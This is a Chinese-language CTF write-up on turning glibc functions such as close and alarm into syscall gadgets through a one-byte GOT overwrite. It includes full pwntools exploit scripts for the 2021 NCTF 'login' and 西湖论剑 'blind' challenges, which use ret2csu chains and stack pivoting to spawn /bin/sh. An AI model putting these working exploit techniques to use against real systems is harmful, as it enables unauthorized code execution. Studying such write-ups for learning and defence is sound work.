syscall还会在哪里

比较常见中低难度题目中,syscall 出现形式有:

  • syscall 是在 text 段里面作为 gadget 可以直接调用
  • 在 64 位沙盒题目写 shellcode 执行 orw 时,使用 syscall 进行系统调用( 32 位系统调用是 int 0x80)

在 glibc 调用函数时也会出现 syscall ,比如 alarm、close 等等

image-20211227224544426

image-20211227224819515

调用 glibc 函数开头的 syscall 不需要泄露出 glibc 地址。因为可以看到这些 syscall 与 got 表中的地址处于同一个内存页,低字节覆盖就能将函数改为 syscall 。

各个版本 glibc 的每个函数 syscall 位置固定,也就是不要知道远程的 glibc 版本。

image-20211227231041313

出题情景

一般情况漏洞都是栈溢出,然后不带任何输出函数,就是无法泄露的 libc 地址或者知道远程 libc 版本(如果有输出函数就能调用输出函数泄露地址,成了简单题目)。

对于这种题目可以用 ret2dlresolve 解决。ret2dlresolve 会因题目位数和保护情况写 exp 利用难度不一,简单的可以用 pwntools 一把梭。也可以利用提到的 syscall 解决。

相关题目

题目需要涉及 ret2csu

2021 NCTF login

保护情况:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞就是 read 造成的栈溢出,没有输出功能函数。需要用 syscall 构造程序中没有的函数调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to NCTF2021!");
read(0, buf, 272uLL);
close(1);
close(2);
return 0LL;
}

思路就是先覆盖 rbp 然后利用 text 段本身的 read 代码构造出的任意地址读写,栈迁移到写入的 ropchain 执行连续 csu 调用,将一个函数 got 改成 syscall ,通过 read 覆盖 rax 为 59 ,最后通过 csu getshell 。

exp 用的 csu 连续调用,也可以用 csu 模板单次调用,然后返回 main 重新写过一轮。由于关闭了 strout、stderr,需要执行 exec 1>&0原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#encoding:utf-8
from pwn import *
import sys

local = 1
binary = "./login"
local_libc = "/lib/x86_64-linux-gnu/libc.so.6"
ip = "192.168.40.10"
port = 29538
remote_libc = "./libc-2.31.so"

csu1 = 0x401270
csu2 = 0x40128A
fake_stack = 0x404060+0x500
main = 0x401196
leave_ret = 0x40121f

def pwn():
#debug(p,"b *0x401206")
#栈迁移写入调用链
payload0 = 'a'*256+p64(fake_stack+0x100)+p64(0x4011ED)
p.sendafter("NCTF2021!\n",payload0)
#连续ret2csu调用
#read(0,[email protected],1)
payload1 = p64(csu2)
payload1 += p64(0) + p64(1)
payload1 += p64(0) #rdi
payload1 += p64(elf.got['close']) #rsi
payload1 += p64(1) #rdx
payload1 += p64(elf.got['read']) #call func
payload1 += p64(csu1)
payload1 += p64(0)

#写入长度0x3B,返回值rax是59(execve)
#read(0,addd,0x3B)
payload1 += p64(0) + p64(1)
payload1 += p64(0) #rdi
payload1 += p64(fake_stack-0x200) #rsi
payload1 += p64(0x3B) #rdx
payload1 += p64(elf.got['read']) #call func
payload1 += p64(csu1)
payload1 += p64(0)

#syscall(59,"/bin/sh",0,0)
payload1 += p64(0) + p64(1)
payload1 += p64(fake_stack-0x200) #rdi
payload1 += p64(0) #rsi
payload1 += p64(0) #rdx
payload1 += p64(elf.got['close']) #call func
payload1 += p64(csu1)
payload1 += p64(0)


p.send(payload1.ljust(0x100,'\x00')+p64(fake_stack-8)+p64(leave_ret))
p.send('\x85')
p.send("/bin/sh".ljust(0x3b,'\x00'))

p.interactive()

def cat_flag():
global flag
p.recv()
p.sendline("cat flag")
flag = p.recvuntil('\n',drop=True).strip()

def debug(p,content=''):
if local:
gdb.attach(p,content)
raw_input()

if __name__ == "__main__":
if(len(sys.argv)==3):
ip = sys.argv[1]
port = sys.argv[2]
local = 0

elf = ELF(binary)
if local:
context.log_level = "debug"
p=process(binary)
# p=process(binary,env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF(local_libc)
pwn()
else:
p=remote(ip,port)
libc=ELF(remote_libc)
pwn()

2021 西湖论剑 blind

思路前面一样的,就是溢出长度很大、修改函数变成了 alarm 。但是由于 read 输入覆盖 alarm 的时候需要只写入一个字节,这一步还是需要用 csu。但是这里不能用连续的 csu 调用,因为调用 text 段 read 之后调整栈长度是 0x50 ,长度不够放下 ropchain ,就用最基础的调用方法:将下一个 csu gadget 放上一个 csu 调用的结束时调用的函数位置实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#encoding:utf-8
from pwn import *
context.log_level = "debug"
p = process("./blind")
elf = ELF("./blind")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
remote_libc = ELF("./libc-2.31.so")

def gadget(p1, p2, j2, a1 = 0x0, a2 = 0x0, a3 = 0x0):
payload = p64(p1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(j2)
payload += p64(a3)
payload += p64(a2)
payload += p64(a1)
payload += p64(p2)
payload += 'A' * 56
return payload

pop_rdi = 0x00000000004007c3
pop_rsi_r15 = 0x00000000004007c1
payload = "a" * 0x58
payload += gadget(0x4007BA,0x4007A0,elf.got["read"],0,elf.got["alarm"],1)
payload += gadget(0x4007BA,0x4007A0,elf.got["read"],0,0x601088,0x3b)
payload += gadget(0x4007BA,0x4007A0,elf.got["alarm"],0x601088,0,0)
payload += (0x500 - len(payload)) * "\x00"
p.send(payload)
p.send("\x19")
p.send("/bin/sh\x00" + "a" * (0x3b-8))
p.interactive()